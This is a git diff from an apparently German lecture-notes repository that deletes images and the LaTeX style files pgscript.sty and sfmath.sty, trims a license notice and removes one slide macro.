and/or modify them under the terms and conditions of the following licenses: - *.tex: scripts and slides + *.tex, *.sty, *.pdf: scripts and slides - either the GNU General Public License, version 3 or, at your option, any later version, - or the Creative Commons Attribution-ShareAlike 3.0 @@ -15,12 +15,6 @@ modify them under the terms and conditions of the following licenses: - or the Creative Commons Attribution-ShareAlike 3.0 Unported License - * sfmath.sty is subject to the LaTeX Project Public License, - version 1.3 or later. See that file for details. - - * The script uses some other free media files; see the script - for their individual licenses. - These documents are distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the diff --git a/common/Retribution_Engine_Screenshot_120807.jpg b/common/Retribution_Engine_Screenshot_120807.jpg deleted file mode 100644 index 9cc97552d0c274af37643f9037568b43a19277cc..0000000000000000000000000000000000000000 Binary files a/common/Retribution_Engine_Screenshot_120807.jpg and /dev/null differ diff --git a/common/Telefon_t-sinus-700.jpg b/common/Telefon_t-sinus-700.jpg deleted file mode 100644 index bbac946c1ab3bd11c97ade38342f419332fc8f46..0000000000000000000000000000000000000000 Binary files a/common/Telefon_t-sinus-700.jpg and /dev/null differ diff --git a/common/Zeichen_123.pdf b/common/Zeichen_123.pdf deleted file mode 100644 index 975f570d8bd00caabd473b4ff789e1c4718cccd9..0000000000000000000000000000000000000000 Binary files a/common/Zeichen_123.pdf and /dev/null differ diff --git a/common/a380.jpg b/common/a380.jpg deleted file mode 100644 index 49a17597a100bda8d20189b7037061ab91eba1af..0000000000000000000000000000000000000000 Binary files a/common/a380.jpg and /dev/null differ diff --git a/common/curiosity.jpg b/common/curiosity.jpg deleted file mode 100644 index 8556f7db10c8eb5e003ac4a7793b2b720c4e3b62..0000000000000000000000000000000000000000 Binary files a/common/curiosity.jpg and /dev/null differ diff --git a/common/dsc_8208.jpg b/common/dsc_8208.jpg deleted file mode 100644 index eaa691e11fba97e15dd891c2bf3086c2be17757a..0000000000000000000000000000000000000000 Binary files a/common/dsc_8208.jpg and /dev/null differ diff --git a/common/herzschrittmacher.jpg b/common/herzschrittmacher.jpg deleted file mode 100644 index 14c387e0c578f216ba362c5ab0e7bd01b20a8dcb..0000000000000000000000000000000000000000 Binary files a/common/herzschrittmacher.jpg and /dev/null differ diff --git a/common/pathfinder.jpg b/common/pathfinder.jpg deleted file mode 100644 index 6100cca988b491fa3b05380ec9ea49346bc6df1f..0000000000000000000000000000000000000000 Binary files a/common/pathfinder.jpg and /dev/null differ diff --git a/common/pgscript.sty b/common/pgscript.sty deleted file mode 100644 index b39922c2cb4af7b4963386f2b6f75edf09da73ad..0000000000000000000000000000000000000000 --- a/common/pgscript.sty +++ /dev/null @@ -1,110 +0,0 @@ -% pgscript.sty - LaTeX Settings for Lecture Notes -% Copyright (C) 2012, 2015 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\usepackage{amsfonts} -\usepackage[colorlinks,allcolors=blue]{hyperref} -\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman". -\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird. -\usepackage{microtype} -\usepackage[T1]{fontenc} -\usepackage{times} -\usepackage{helvet} -\renewcommand*\familydefault{\sfdefault} -\usepackage{graphicx} -\usepackage{pstricks} -\usepackage{ifluatex} - -%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs). -%% PG20151206: This seems unnecessary here. Maybe due to \sf? -%\ifluatex -%\directlua{ -% local glyph = node.id ("glyph") -% local function my_kerning (head) -% for t in node.traverse (head) do -% if t.id == glyph and t.char == 47 then -% if t.next -% and t.next.next -% and t.next.next.id == glyph -% and t.next.next.char == 47 then -% local k = node.new ("kern") -% k.kern = tex.sp ("-0.15em") -% k.next = t.next -% k.prev = t -% t.next.prev = k -% t.next = k -% end -% end -% end -% node.kerning (head) -% end -% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning") -%} -%\fi - -\definecolor{blendedblue}{rgb}{0.2,0.2,0.7} -\definecolor{darkgreen}{rgb}{0.0,0.3,0.0} -\definecolor{darkred}{rgb}{0.7,0.0,0.0} -\definecolor{darkgrey}{rgb}{0.4,0.4,0.4} - -\newcommand{\breath}{\bigskip\goodbreak} -\newcommand{\subsubsubsection}[1]{\breath\par\textbf{#1}\nopagebreak\par} -\newenvironment{experts}{\color{darkgrey}}{} -\newenvironment{whiteout}{\definecolor{darkgreen}{rgb}{1.0,1.0,1.0}% - \definecolor{darkred}{rgb}{1.0,1.0,1.0}% - \color{white}}{} -\urlstyle{sf} -\newcommand{\file}[1]{{\color{blendedblue}#1}} -\newcommand{\textarrow}{{\boldmath $\longrightarrow$}} -\newcommand{\arrowitem}{\item[\textarrow]} -\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}} - -\usepackage{listings} -\lstset{basicstyle=\color{blendedblue}, - language=C, - captionpos=b, - gobble=4, - xleftmargin=1em, - columns=fullflexible, - moredelim=**[is][\color{red}]{¡}{¿}} -\lstdefinestyle{numbered}{xleftmargin=2em, - numbers=left, - numberstyle=\footnotesize\color{gray}} -\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen}, - language={}, - columns=fixed, - moredelim=**[is][\color{darkred}]{¡}{¿}, - moredelim=**[is][\color{blendedblue}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{darkred}, - language={}, - columns=fixed, - moredelim=**[is][\color{darkgreen}]{¡}{¿}, - moredelim=**[is][\color{blendedblue}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} - -\setlength{\textwidth}{16.5cm} -\setlength{\textheight}{26.0cm} -\setlength{\hoffset}{-1.5cm} -\setlength{\voffset}{-3.0cm} -\setlength{\parindent}{0pt} -\setlength{\parskip}{\medskipamount} -\setlength{\unitlength}{1cm} diff --git a/common/pgslides.sty b/common/pgslides.sty index 62b70d4d4eaf2dd2986965bb992846fced2e2285..cde7d23dea1cf8bc70ff12fd6a2b454fc4c6ab24 100644 --- a/common/pgslides.sty +++ b/common/pgslides.sty @@ -207,11 +207,6 @@ \def\showsectionnonumber{\hbox{\Large\color{structure}\bf \vtop{\secname}\par}\bigskip} -\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}} - -\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\nosectionnonumbername}\par}\bigskip} - \def\showsection{\hbox{\Large\color{structure}\bf \vtop{\hbox{\arabic{section}}}\kern1em% \vtop{\secname}\par}\bigskip} diff --git a/common/philosophenproblem.jpg b/common/philosophenproblem.jpg deleted file mode 100644 index e912745d043064ee5d4efc2c5cf58d6fdfdf138d..0000000000000000000000000000000000000000 Binary files a/common/philosophenproblem.jpg and /dev/null differ diff --git a/common/quadrocopter.jpg b/common/quadrocopter.jpg deleted file mode 100644 index b430e8d3ba70e518ef365bc101f7d4b8418b4d2b..0000000000000000000000000000000000000000 Binary files a/common/quadrocopter.jpg and /dev/null differ diff --git a/common/rp6.jpg b/common/rp6.jpg deleted file mode 100644 index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000 Binary files a/common/rp6.jpg and /dev/null differ diff --git a/common/sfmath.sty b/common/sfmath.sty deleted file mode 100644 index 566070f49e04a4c4357691d33272da82c37337b4..0000000000000000000000000000000000000000 --- a/common/sfmath.sty +++ /dev/null @@ -1,469 +0,0 @@ -% sfmath.sty, copyright 2001-2007 by Olaf Dietrich (olaf@dtrx.de) -% -% This work may be distributed and/or modified under the -% conditions of the LaTeX Project Public License, either version 1.3 -% of this license or (at your option) any later version. -% The latest version of this license is in -% http://www.latex-project.org/lppl.txt -% and version 1.3 or later is part of all distributions of LaTeX -% version 2005/12/01 or later. -% -% This work has the LPPL maintenance status `maintained'. -% -% The Current Maintainer of this work is Olaf Dietrich. -% -% This work consists of the file sfmath.sty. - - -\NeedsTeXFormat{LaTeX2e} -\ProvidesPackage{sfmath}[2007/08/27 v0.8 sans serif maths] - - -% This is a simple package for sans serif maths in documents. -% -% Usage: \usepackage{sfmath} or \usepackage[OPTIONS]{sfmath} -% -% After including the package sfmath.sty, all maths of the current -% document is displayed with sans serif fonts; there is no way to -% switch back to the original behavior. -% -% The default sans serif font for maths is the sans serif font -% selected for sans serif text (i.e., \sfdefault) when sfmath.sty -% is loaded. Therefore, you must include sfmath.sty after having -% changed \sfdefault, e.g., by a package such as helvet.sty or -% manually. Alternatively, use one of the font options described -% below (cm, helvet, cmbright, tx, px, or lm) in order to override -% the default sans serif font. -% -% Package OPTIONS (options marked with (+) are experimental): -% -% * slantedGreek: for slanted uppercase Greek letters -% -% * cm: use Computer Modern (cmss) for maths (explicitly) -% * helvet: use Postscript Helvetica (phv) for maths (explicitly) -% * cmbright: use CM-Bright fonts (cmbr) for maths (explicitely) -% * tx: use Postscript txfonts (tx) for maths (explicitly) -% * px: use Postscript pxfonts (tx) for maths (explicitly) -% * lm: use Latin Modern (lmss) for maths (explicitly) (+) -% -% * T1experimental: use T1 font encoding for standard maths (+) -% * AlphT1experimental: use T1 font encoding for \math*{...} commands (+) -% -% * mathrmOrig: do not change the behavior of the \mathrm command -% * mathbfOrig: do not change the behavior of the \mathbf command -% * mathitOrig: do not change the behavior of the \mathit command -% * mathsfOrig: do not change the behavior of the \mathsf command -% -% (+): Known limitations of experimental options: -% T1experimental produces a warning about the encoding of the -% operators font. -% AlphT1experimental DOES NOT WORK with uppercase Greek letters -% within the \math*{...} command! -% These options should only be used with the ec fonts. -% -% lm includes T1experimental and AlphT1experimental with the -% limitations mentioned above. -% -% RECOMMENDATION: -% use the fix-cm package instead of the experimental -% T1 options: with fix-cm.sty, the chosen ec fonts -% harmonize much better with the cm sans serif math fonts. -% Add \RequirePackage{fix-cm} _before_ \documentclass{...}. -% -% -% Some new macros are defined by sfmath.sty: -% -% * \mathsl{...}: A new math alphabet that is by default identical -% with \mathit{...}; useful in combination with the option mathitOrig. -% -% * \upOmega, \upDelta: upright versions of \Omega and \Delta; -% useful when the option slantedGreek is selected. -% -% -% More documentation can currently be found at: -% <URL:http://dtrx.de/od/tex/sfmath.html> - - -% CHANGES: -% -% v0.8: -% -% * Update documentation and add license details for CTAN upload. -% -% -% v0.7: -% -% * Add (experimental) support for latin modern (lmodern) fonts. -% -% -% v0.6: -% -% * Add some artificial intelligence to use slanted bold letters -% if available (e.g., for phv, txfonts, or pxfonts). -% Add options to select txfonts, pxfonts, and cmbright (probably -% not very useful) explicitely. -% (Thanks to Alberto Lusiani who asked for slanted bold letters.) -% -% -% v0.5: -% -% * Add experimental options for T1 font encoding of maths fonts. -% Using these options can be useful with ec fonts which look -% slightly different from the standard cm maths fonts (especially -% at large font size). About limitations see above. -% -% -% v0.4: -% -% * Add \upDelta, \upOmega command (to be a little more compatible -% with other packages that provide the slantedGreek option) -% -% -% v0.3: -% -% * Add sans serif shapes for "," and ".", "\ldotp" -% -% * Modified documentation -% -% -% v0.2: -% -% * New option slantedGreek for slanted greek capitals -% -% * Options helvet and cm to select explicitly the sans serif font -% for maths. Without any of these options, the current \sfdefault -% is chosen. -% -% * Options mathxxOrig: don't change the alphabet command \mathxx; -% available for \mathrm, \mathbf, \mathit, and \mathsf -% -% * Provide dotlessi and dotlessj (if available) -% - - -% BUGS/LIMITATIONS/PROBLEMS: -% -% * Functionality is limited by the intention to work without -% additionally defined (virtual) fonts; instead, only standard -% fonts are used. -% -% * The font metrics are not adjusted to maths usage (this may -% result in typographically unsatisfying results). -% -% * In many constellations with Postscript fonts (helvet.sty, -% pslatex.sty, ...) the upper-case greek letters are not chosen -% correctly within \mathrm, \mathbf, \mathit, ... (because -% they should be part of OT1-encoded fonts but are not included -% in these standard postscript fonts). -% -% * Bold math symbols are not always available (e.g. with pslatex.sty) -% or at least not slanted (e.g. with cmss fonts), so better don't -% use bold maths with this package. (This has been partially improved -% in version 0.6.) -% -% * There is a visual difference between the ec sans serif text fonts -% and the cm sans serif maths fonts, especially at larger font sizes. -% The fix-cm package might help to reduce the ugliness of the ec -% sans serif fonts and the differences between the ec text fonts -% and the cm math fonts. -% Alternatively, the experimental options T1experimental and -% AlphT1Experimental might help by using the ec fonts for maths as well. -% -% * The txfonts and pxfonts are reported to have several deficiencies -% with respect to font metrics and macro implementation; using -% these fonts is not recommended by the package author. -% -% * The set symbols \mathbb{N} or \mathbbm{N} (from bbm.sty) are not -% changed. You might like to use \mathbbmss{N} (from bbm.sty). -% -% * Some symbols have serifish shapes (\sum, \prod, probably more) and -% are not changed. -% -% * Lower-case greek letters are not available in sans serif shape -% (they don't have real serifs, but cannot be expected to harmonize -% with the sans serif latin letters). -% -% -% TODO: -% -% * Improve documentation. -% -% * Provide LaTeX .ins/.dtx files instead of naked .sty file. -% - - -% HERE WE GO: - -% Declare options and defaults and process options - -\DeclareOption{slantedGreek}{% - \renewcommand{\greek@shape}{sl}% - \renewcommand{\greek@bold@shape}{\greek@bold@sl}% -} - -\DeclareOption{cm}{\renewcommand{\math@sfdefault}{cmss}} -\DeclareOption{lm}{\renewcommand{\math@sfdefault}{lmss}} -\DeclareOption{helvet}{\renewcommand{\math@sfdefault}{phv}} -\DeclareOption{cmbright}{\renewcommand{\math@sfdefault}{cmbr}} -\DeclareOption{tx}{\renewcommand{\math@sfdefault}{txss}} -\DeclareOption{px}{\renewcommand{\math@sfdefault}{pxss}} - -\DeclareOption{T1experimental}{\renewcommand{\math@encoding}{T1}} -\DeclareOption{AlphT1experimental}{\renewcommand{\math@lph@encoding}{T1}} - -\DeclareOption{mathrmOrig}{\renewcommand{\mathrm@lph}{cmr}} -\DeclareOption{mathbfOrig}{\renewcommand{\mathbf@lph}{cmr}} -\DeclareOption{mathitOrig}{\renewcommand{\mathit@lph}{cmr}} -\DeclareOption{mathsfOrig}{\renewcommand{\mathsf@lph}{cmss}} - - -\newcommand{\math@sfdefault}{\sfdefault} -\newcommand{\math@encoding}{OT1} -\newcommand{\math@lph@encoding}{OT1} - -\newcommand{\mathrm@lph}{\math@sfdefault} -\newcommand{\mathbf@lph}{\math@sfdefault} -\newcommand{\mathit@lph}{\math@sfdefault} -\newcommand{\mathsf@lph}{\math@sfdefault} - - -% \math@sfGreek: Font for capital greeks: cmss or other? -% \greek@shape: Capital greeks: normal or slanted? [slantedGreek] -% \greek@bold@shape: Bold capital greeks: normal or slanted? [slantedGreek] -% \greek@bold@sl: Bold capital greeks: "sl" if slanted possible -% -% \mathnormal@bold@shape: Bold letters: normal or slanted? (always bold) -% \mathit@bold@series: Bold \mathit (\mathsl): medium or bold? (always slanted) - -\newcommand{\math@sfGreek}{cmss} -\newcommand{\greek@shape}{n} -\newcommand{\greek@bold@shape}{n} -\newcommand{\greek@bold@sl}{n} -\newcommand{\mathnormal@bold@shape}{n} -\newcommand{\mathit@bold@series}{m} - - - -\ProcessOptions - - - -% check the current value of \math@sfdefault - -\edef\tmp@sfdefault{\math@sfdefault} - -\def\tmp@compare{cmss} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is cmss - % no slanted bold letters - % no slanted bold capital Greeks - \renewcommand{\math@sfGreek}{cmss} - \renewcommand{\greek@bold@sl}{n} - \renewcommand{\mathnormal@bold@shape}{n} - \renewcommand{\mathit@bold@series}{m} -\fi - -\def\tmp@compare{phv} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is phv (helvet.sty) - % slanted bold letters - % no capital Greeks - \renewcommand{\math@sfGreek}{cmss} - \renewcommand{\greek@bold@sl}{n} - \renewcommand{\mathnormal@bold@shape}{sl} - \renewcommand{\mathit@bold@series}{bx} -\fi - -\def\tmp@compare{txss} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is txss (txfonts.sty) - % slanted bold letters - % slanted bold capital Greeks - \renewcommand{\math@sfGreek}{txss} - \renewcommand{\greek@bold@sl}{sl} - \renewcommand{\mathnormal@bold@shape}{sl} - \renewcommand{\mathit@bold@series}{bx} -\fi - -\def\tmp@compare{pxss} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is pxss (pxfonts.sty) - % slanted bold letters - % slanted bold capital Greeks - \renewcommand{\math@sfGreek}{pxss} - \renewcommand{\greek@bold@sl}{sl} - \renewcommand{\mathnormal@bold@shape}{sl} - \renewcommand{\mathit@bold@series}{bx} -\fi - -\def\tmp@compare{cmbr} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is cmbr (cmbright.sty) - % no slanted bold letters - % no slanted bold capital Greeks - \renewcommand{\math@sfGreek}{cmbr} - \renewcommand{\greek@bold@sl}{n} - \renewcommand{\mathnormal@bold@shape}{n} - \renewcommand{\mathit@bold@series}{m} -\fi - -\def\tmp@compare{lmss} -\ifx\tmp@sfdefault\tmp@compare - % \sfdefault is lmss (lmodern.sty sans serif) - % T1 encoding only - % slanted bold letters - % no slanted bold capital Greeks - \renewcommand{\math@encoding}{T1} - \renewcommand{\math@lph@encoding}{T1} - \renewcommand{\math@sfGreek}{cmss} - \renewcommand{\greek@bold@sl}{n} - \renewcommand{\mathnormal@bold@shape}{sl} - \renewcommand{\mathit@bold@series}{bx} -\fi - - - -% Change font for digits and "operators" (\sin, \exp, ...) -% to default sans serif font - -\SetSymbolFont{operators}{normal}{\math@encoding}{\math@sfdefault}{m}{n} -\SetSymbolFont{operators}{bold}{\math@encoding}{\math@sfdefault}{bx}{n} - - -% Most special math symbols remain unmodified (and many of those -% don't have serifs); however all letters (A-Z, a-z) are -% explicitely changed to the sans serif version (again -% default sans serif font). -% -% Unfortunately, there is no standard slanted+bold sans serif font -% available (as Postscript Type 1 font), so try an upright -% version (may be better than nothing). - -\DeclareSymbolFont{SFMath}{\math@encoding}{\math@sfdefault}{m}{sl} -\SetSymbolFont{SFMath}{normal}{\math@encoding}{\math@sfdefault}{m}{sl} -\SetSymbolFont{SFMath}{bold}{\math@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape} -\DeclareMathSymbol{A}{\mathalpha}{SFMath}{`A} -\DeclareMathSymbol{B}{\mathalpha}{SFMath}{`B} -\DeclareMathSymbol{C}{\mathalpha}{SFMath}{`C} -\DeclareMathSymbol{D}{\mathalpha}{SFMath}{`D} -\DeclareMathSymbol{E}{\mathalpha}{SFMath}{`E} -\DeclareMathSymbol{F}{\mathalpha}{SFMath}{`F} -\DeclareMathSymbol{G}{\mathalpha}{SFMath}{`G} -\DeclareMathSymbol{H}{\mathalpha}{SFMath}{`H} -\DeclareMathSymbol{I}{\mathalpha}{SFMath}{`I} -\DeclareMathSymbol{J}{\mathalpha}{SFMath}{`J} -\DeclareMathSymbol{K}{\mathalpha}{SFMath}{`K} -\DeclareMathSymbol{L}{\mathalpha}{SFMath}{`L} -\DeclareMathSymbol{M}{\mathalpha}{SFMath}{`M} -\DeclareMathSymbol{N}{\mathalpha}{SFMath}{`N} -\DeclareMathSymbol{O}{\mathalpha}{SFMath}{`O} -\DeclareMathSymbol{P}{\mathalpha}{SFMath}{`P} -\DeclareMathSymbol{Q}{\mathalpha}{SFMath}{`Q} -\DeclareMathSymbol{R}{\mathalpha}{SFMath}{`R} -\DeclareMathSymbol{S}{\mathalpha}{SFMath}{`S} -\DeclareMathSymbol{T}{\mathalpha}{SFMath}{`T} -\DeclareMathSymbol{U}{\mathalpha}{SFMath}{`U} -\DeclareMathSymbol{V}{\mathalpha}{SFMath}{`V} -\DeclareMathSymbol{W}{\mathalpha}{SFMath}{`W} -\DeclareMathSymbol{X}{\mathalpha}{SFMath}{`X} -\DeclareMathSymbol{Y}{\mathalpha}{SFMath}{`Y} -\DeclareMathSymbol{Z}{\mathalpha}{SFMath}{`Z} -\DeclareMathSymbol{a}{\mathalpha}{SFMath}{`a} -\DeclareMathSymbol{b}{\mathalpha}{SFMath}{`b} -\DeclareMathSymbol{c}{\mathalpha}{SFMath}{`c} -\DeclareMathSymbol{d}{\mathalpha}{SFMath}{`d} -\DeclareMathSymbol{e}{\mathalpha}{SFMath}{`e} -\DeclareMathSymbol{f}{\mathalpha}{SFMath}{`f} -\DeclareMathSymbol{g}{\mathalpha}{SFMath}{`g} -\DeclareMathSymbol{h}{\mathalpha}{SFMath}{`h} -\DeclareMathSymbol{i}{\mathalpha}{SFMath}{`i} -\DeclareMathSymbol{j}{\mathalpha}{SFMath}{`j} -\DeclareMathSymbol{k}{\mathalpha}{SFMath}{`k} -\DeclareMathSymbol{l}{\mathalpha}{SFMath}{`l} -\DeclareMathSymbol{m}{\mathalpha}{SFMath}{`m} -\DeclareMathSymbol{n}{\mathalpha}{SFMath}{`n} -\DeclareMathSymbol{o}{\mathalpha}{SFMath}{`o} -\DeclareMathSymbol{p}{\mathalpha}{SFMath}{`p} -\DeclareMathSymbol{q}{\mathalpha}{SFMath}{`q} -\DeclareMathSymbol{r}{\mathalpha}{SFMath}{`r} -\DeclareMathSymbol{s}{\mathalpha}{SFMath}{`s} -\DeclareMathSymbol{t}{\mathalpha}{SFMath}{`t} -\DeclareMathSymbol{u}{\mathalpha}{SFMath}{`u} -\DeclareMathSymbol{v}{\mathalpha}{SFMath}{`v} -\DeclareMathSymbol{w}{\mathalpha}{SFMath}{`w} -\DeclareMathSymbol{x}{\mathalpha}{SFMath}{`x} -\DeclareMathSymbol{y}{\mathalpha}{SFMath}{`y} -\DeclareMathSymbol{z}{\mathalpha}{SFMath}{`z} - -\DeclareMathSymbol{\imath}{\mathalpha}{SFMath}{"10} -\DeclareMathSymbol{\jmath}{\mathalpha}{SFMath}{"11} - - -% The symbols ",", ".", and "\ldotp" should be sans serif -% but upright. - -\DeclareSymbolFont{SFMathUp}{\math@encoding}{\math@sfdefault}{m}{n} -\SetSymbolFont{SFMathUp}{normal}{\math@encoding}{\math@sfdefault}{m}{n} -\SetSymbolFont{SFMathUp}{bold}{\math@encoding}{\math@sfdefault}{bx}{n} -\DeclareMathSymbol{,}{\mathpunct}{SFMathUp}{`,} -\DeclareMathSymbol{.}{\mathord}{SFMathUp}{`.} -\DeclareMathSymbol{\ldotp}{\mathord}{SFMathUp}{`.} - - -% Take capital greek letters from cmss or [tp]xss; other sans serif fonts -% like helvetica don't have capital greeks, so here cmss is -% taken instead of \sfdefault. Unfortunately, this does not work -% within the alphabet commands \mathrm, \mathsf, ... - -\DeclareSymbolFont{SFMathGreek}{OT1}{\math@sfGreek}{m}{\greek@shape} -\SetSymbolFont{SFMathGreek}{normal}{OT1}{\math@sfGreek}{m}{\greek@shape} -\SetSymbolFont{SFMathGreek}{bold}{OT1}{\math@sfGreek}{bx}{\greek@bold@shape} - -\DeclareMathSymbol{\Gamma}{\mathalpha}{SFMathGreek}{"00} -\DeclareMathSymbol{\Delta}{\mathalpha}{SFMathGreek}{"01} -\DeclareMathSymbol{\Theta}{\mathalpha}{SFMathGreek}{"02} -\DeclareMathSymbol{\Lambda}{\mathalpha}{SFMathGreek}{"03} -\DeclareMathSymbol{\Xi}{\mathalpha}{SFMathGreek}{"04} -\DeclareMathSymbol{\Pi}{\mathalpha}{SFMathGreek}{"05} -\DeclareMathSymbol{\Sigma}{\mathalpha}{SFMathGreek}{"06} -\DeclareMathSymbol{\Upsilon}{\mathalpha}{SFMathGreek}{"07} -\DeclareMathSymbol{\Phi}{\mathalpha}{SFMathGreek}{"08} -\DeclareMathSymbol{\Psi}{\mathalpha}{SFMathGreek}{"09} -\DeclareMathSymbol{\Omega}{\mathalpha}{SFMathGreek}{"0A} - - -\DeclareSymbolFont{SFMathUpGreek}{OT1}{\math@sfGreek}{m}{n} -\SetSymbolFont{SFMathUpGreek}{normal}{OT1}{\math@sfGreek}{m}{n} -\SetSymbolFont{SFMathUpGreek}{bold}{OT1}{\math@sfGreek}{bx}{n} - -\DeclareMathSymbol{\upDelta}{\mathalpha}{SFMathUpGreek}{"01} -\DeclareMathSymbol{\upOmega}{\mathalpha}{SFMathUpGreek}{"0A} - - -% Define new behavior for math alphabet commands - - -\SetMathAlphabet{\mathnormal}{normal}{\math@lph@encoding}{\math@sfdefault}{m}{sl} -\SetMathAlphabet{\mathnormal}{bold}{\math@lph@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape} - -\SetMathAlphabet{\mathrm}{normal}{\math@lph@encoding}{\mathrm@lph}{m}{n} -\SetMathAlphabet{\mathrm}{bold}{\math@lph@encoding}{\mathrm@lph}{bx}{n} - -\SetMathAlphabet{\mathbf}{normal}{\math@lph@encoding}{\mathbf@lph}{bx}{n} -\SetMathAlphabet{\mathbf}{bold}{\math@lph@encoding}{\mathbf@lph}{bx}{n} - -\SetMathAlphabet{\mathit}{normal}{\math@lph@encoding}{\mathit@lph}{m}{sl} -\SetMathAlphabet{\mathit}{bold}{\math@lph@encoding}{\mathit@lph}{\mathit@bold@series}{sl} - -\SetMathAlphabet{\mathsf}{normal}{\math@lph@encoding}{\mathsf@lph}{m}{n} -\SetMathAlphabet{\mathsf}{bold}{\math@lph@encoding}{\mathsf@lph}{bx}{n} - - - -% Define new math alphabet command \mathsl - -\DeclareMathAlphabet{\mathsl}{\math@lph@encoding}{\math@sfdefault}{m}{sl} -\SetMathAlphabet{\mathsl}{bold}{\math@lph@encoding}{\math@sfdefault}{\mathit@bold@series}{sl} - - -\endinput diff --git a/common/xbee.jpg b/common/xbee.jpg deleted file mode 100644 index 9bf9d4b767646bf05fb6b0b61a82b2fa7342eec0..0000000000000000000000000000000000000000 Binary files a/common/xbee.jpg and /dev/null differ